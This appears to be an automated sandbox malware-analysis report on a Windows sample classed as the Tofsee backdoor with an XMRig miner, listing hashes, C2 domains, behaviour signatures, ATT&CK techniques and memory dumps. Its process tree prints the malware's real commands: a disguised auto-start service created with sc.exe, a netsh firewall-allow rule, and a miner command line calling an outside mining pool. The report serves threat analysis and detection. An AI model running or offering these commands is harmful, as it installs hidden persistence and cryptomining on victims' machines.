Overview

overview

10

Static

static

1

file.exe

windows7-x64

10

file.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    143s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-02-2023 18:10

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General

  • Target

    file.exe

  • Size

    299KB

  • MD5

    d85ac9e4a318a111a633603b59a678e1

  • SHA1

    ba5a2ce4a943803ad266ab79920e51ac1376f572

  • SHA256

    1c72c9334aabb179971f5b154fbc75245add5765a6f8cc2648df5b6248698623

  • SHA512

    da08eafc66990a1fb891db71a8c2a26553297c6a8b423ce6976b2893840f73d4c79365afddbd9af9d80cdf981b2da56b8323226c9a7d743bc090fee1048d09a4

  • SSDEEP

    3072:CoXb6bh/LvtDRGXjO8GLQiYkSX5DB6gkrIGk0QuQjiMTE5hoa1M:CaC/LFgXj7GNBSVB6gwjQuQj9ha

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2216
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hhmxmoxw\
      2⤵
        PID:4860
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\dkkopzju.exe" C:\Windows\SysWOW64\hhmxmoxw\
        2⤵
          PID:1788
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hhmxmoxw binPath= "C:\Windows\SysWOW64\hhmxmoxw\dkkopzju.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3312
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description hhmxmoxw "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1348
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start hhmxmoxw
          2⤵
          • Launches sc.exe
          PID:4700
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3804
      • C:\Windows\SysWOW64\hhmxmoxw\dkkopzju.exe
        C:\Windows\SysWOW64\hhmxmoxw\dkkopzju.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2204
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:116
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2132

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Initial Access

      Execution

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Modify Registry

      1
      T1112

      Credential Access

      Discovery

      Query Registry

      1
      T1012

      System Information Discovery

      2
      T1082

      Lateral Movement

      Collection

      Exfiltration

      Command and Control

      Impact

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\dkkopzju.exe
        Filesize

        12.0MB

        MD5

        b4100e0388d03a47ba2905764cf16341

        SHA1

        d821f89bbb7251e13ae5aaefd51ab7033a78e60f

        SHA256

        8619628533d703db79e5c6843961ddad3d72cb92a1164aa12189a0251b67c8ed

        SHA512

        c32e853633f0ca7cd29367e5d8b1d15f7dd0c00a502b232b01a360f131636910cd6b5abbefa9b63d6f3c673711d4458ed55865283b95950151ae3d9874f6e98c

        Download Submit
      • C:\Windows\SysWOW64\hhmxmoxw\dkkopzju.exe
        Filesize

        12.0MB

        MD5

        b4100e0388d03a47ba2905764cf16341

        SHA1

        d821f89bbb7251e13ae5aaefd51ab7033a78e60f

        SHA256

        8619628533d703db79e5c6843961ddad3d72cb92a1164aa12189a0251b67c8ed

        SHA512

        c32e853633f0ca7cd29367e5d8b1d15f7dd0c00a502b232b01a360f131636910cd6b5abbefa9b63d6f3c673711d4458ed55865283b95950151ae3d9874f6e98c

        Download Submit
      • memory/116-159-0x0000000001BA0000-0x0000000001BB0000-memory.dmp
        Filesize

        64KB

        Download
      • memory/116-145-0x0000000000000000-mapping.dmp
        Download
      • memory/116-168-0x00000000029D0000-0x00000000029D7000-memory.dmp
        Filesize

        28KB

        Download
      • memory/116-165-0x0000000007400000-0x000000000780B000-memory.dmp
        Filesize

        4.0MB

        Download
      • memory/116-162-0x0000000001BF0000-0x0000000001BF5000-memory.dmp
        Filesize

        20KB

        Download
      • memory/116-156-0x00000000009F0000-0x00000000009F6000-memory.dmp
        Filesize

        24KB

        Download
      • memory/116-146-0x0000000000820000-0x0000000000835000-memory.dmp
        Filesize

        84KB

        Download
      • memory/116-153-0x0000000002400000-0x000000000260F000-memory.dmp
        Filesize

        2.1MB

        Download
      • memory/116-152-0x0000000000820000-0x0000000000835000-memory.dmp
        Filesize

        84KB

        Download
      • memory/116-151-0x0000000000820000-0x0000000000835000-memory.dmp
        Filesize

        84KB

        Download
      • memory/1348-139-0x0000000000000000-mapping.dmp
        Download
      • memory/1788-136-0x0000000000000000-mapping.dmp
        Download
      • memory/2132-171-0x0000000000000000-mapping.dmp
        Download
      • memory/2132-177-0x0000000001000000-0x00000000010F1000-memory.dmp
        Filesize

        964KB

        Download
      • memory/2132-172-0x0000000001000000-0x00000000010F1000-memory.dmp
        Filesize

        964KB

        Download
      • memory/2204-149-0x0000000000400000-0x0000000000466000-memory.dmp
        Filesize

        408KB

        Download
      • memory/2204-148-0x0000000000759000-0x000000000076F000-memory.dmp
        Filesize

        88KB

        Download
      • memory/2216-134-0x00000000021A0000-0x00000000021B3000-memory.dmp
        Filesize

        76KB

        Download
      • memory/2216-143-0x00000000004CE000-0x00000000004E4000-memory.dmp
        Filesize

        88KB

        Download
      • memory/2216-133-0x00000000004CE000-0x00000000004E4000-memory.dmp
        Filesize

        88KB

        Download
      • memory/2216-135-0x0000000000400000-0x0000000000466000-memory.dmp
        Filesize

        408KB

        Download
      • memory/2216-144-0x0000000000400000-0x0000000000466000-memory.dmp
        Filesize

        408KB

        Download
      • memory/3312-138-0x0000000000000000-mapping.dmp
        Download
      • memory/3804-141-0x0000000000000000-mapping.dmp
        Download
      • memory/4700-140-0x0000000000000000-mapping.dmp
        Download
      • memory/4860-132-0x0000000000000000-mapping.dmp
        Download